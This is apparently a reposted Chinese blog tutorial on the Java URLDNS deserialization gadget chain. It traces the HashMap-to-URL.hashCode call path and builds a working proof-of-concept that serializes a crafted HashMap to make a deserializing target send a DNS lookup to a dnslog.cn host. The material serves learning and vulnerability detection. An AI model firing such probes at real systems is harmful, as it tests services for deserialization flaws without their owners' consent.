URLDNS
URLDNS链是用来检测目标是否存在反序列化漏洞的,它不限java版本,因为实在HashMap中触发的很难去对他进行限制,但是仅限于使用他验证是否存在反序列化漏洞,无法进行其他操作
原理
在 Java的HashMap中,readObject方法在进行序列化时会调用key 的hash 方法,hash方法会把一个Object对象传进去,然后触发key调用hashCode 方法,刚好,URL 类里也实现了hashCode方法,而在这个方法里,它会调用URLStreamHandle下的getHostAddress方法去解析域名,这样就形成了一条调用链
代码分析
HashMap
直接new 一个HashMap类跟进去,可以看到HashMap类继承了Serializable接口,那证明他可以被序列化
我们找到他重写的readObject方法,在序列化的时候他会将key取出来放到hash方法中
那么我们接着跟进hash,传递了一个Object类型的key,当key不等于null就会去调用了Object类下面的hashCode方法对key进行计算
URL.hashCode
既然知道了最终这个key调用的方法那么我们就要去找谁调用了跟他同名的方法hashCode,找呀找最终找到URL类下有一个hashCode方法
我们先看一下这个hashCode值是多少了,**默认就是-1而且还是private权限**,返回到URL.hashCode中
跟进handler.hashCode方法,跳转到了URLStreamHandler类里这是专门处理URL类中传递http/https请求的类,这里传递了一个URL对象,然后将URL对象给**getHostAddress**进行解析,触发DNS请求
拉到最上面看一下URLStreamHandler类的构成,这是个抽象类,**并且没有继承序列化接口**,那这条链为什么能构造出来呢?带着疑问返回到URL.hashCode中
他是通过**handler属性的hashCode**方法跳转到了**URLStreamHandler**类
那么找一下handler的属性,这里发现是一个用transient修饰的临时类,**transient修饰的属性不会被序列化** 如果一个 URL对象被序列化并反序列化,**它的handler会被恢复为null**,因为transient字段在反序列化时不会被自动恢复
问题 为什么transient修饰的handler依然会影响hashCode的计算?
虽然handler被transient修饰,在序列化中不会被保存,**但是他在对象的生命周期中还是存在的,当URL对象被创建后,handler属性会被赋值为URLStreamHandler实例对象**,所以hashCode计算并不依赖于handler能不能被序列化,**而是依赖于他在当前URL对象的生命周期,****通俗点说虽然URLStreamHandler 在URL类中是一个临时类但是只要URL在序列化和反序列化中被触发那么这个被transient修饰的handler就还是URLStreamHandler 类从而触发DNS请求 **
回归正题接着分析,既然已经搞清楚了这些属性都是什么返回到URL.hashCode中继续进行分析
判断hashCode是否被计算,如果已经被计算直接返回hashCode,这里需要hashCode等于-1也就是没有被计算才会进入URLStreamHandler.hashCode下触发DNS请求并返回
那么基本的这条链也分析完了,整理一下执行流程,开始逐步完善我们的exp
HashMap->readObject
HashMap->putVal
HashMap->hash
key.hashCode->URL.hashCode
URL.hashCode->URLStreamHandler.getHostAddress
逐步完善EXP
那么我们根据流程先创建一个HashMap,上面分析代码已经知道,最终触发点是key,所以我们就需要给key的类型设置成URL类,value类型随便,先在dnslog上申请一个测试链接
然后我们返回到idea中完善代码,这里运行一下看下dnslog有没有记录
package org.example;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap<URL,String> hashMap = new HashMap<>();
hashMap.put(new URL("http://azp49i.dnslog.cn"),"sdad");
}
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
这里发现我们在没有进行序列化和反序列化操作的时候就已经执行了DNS
跟进一下hashMap.put,发现这里调用**put传递URL对象的时候实际上就已经执行了putVal(hash**,也就是说在前面分析的hashCode这个属性就会被计算就不会走到handler.hashCode中了
那么由于hashCode是私有属性,我们没办法直接调用修改他,只能通过反射获取属性进行修改,先**给hashCode改为除了-1以外的其他值**,让他不走handler.hashCode在put完之后将hashCode属性值再改回-1触发DNS请求
最终EXP
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap<URL,String> hashMap = new HashMap<>();
URL url = new URL("http://azp49i.dnslog.cn");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,12);
hashMap.put(url,"sdad");
field.set(url,-1);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
本文转载自: https://blog.csdn.net/m0_60442621/article/details/143669666
版权归原作者 tutu不是图图 所有, 如有侵权,请联系我们删除。
版权归原作者 tutu不是图图 所有, 如有侵权,请联系我们删除。